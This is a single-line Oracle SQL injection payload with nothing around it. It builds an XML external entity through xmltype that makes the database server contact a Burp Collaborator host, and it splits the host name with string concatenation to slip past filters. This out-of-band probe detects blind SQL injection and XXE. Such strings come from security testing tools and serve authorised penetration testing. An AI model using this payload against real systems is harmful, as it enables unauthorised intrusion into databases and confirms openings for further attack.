(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % ueval SYSTEM "http://pa33xbdde33uct02crgjyqtx6och0g2jqmee15pu.burpcollab'||'orator.net/">%ueval;]>'),'/l') from dual) /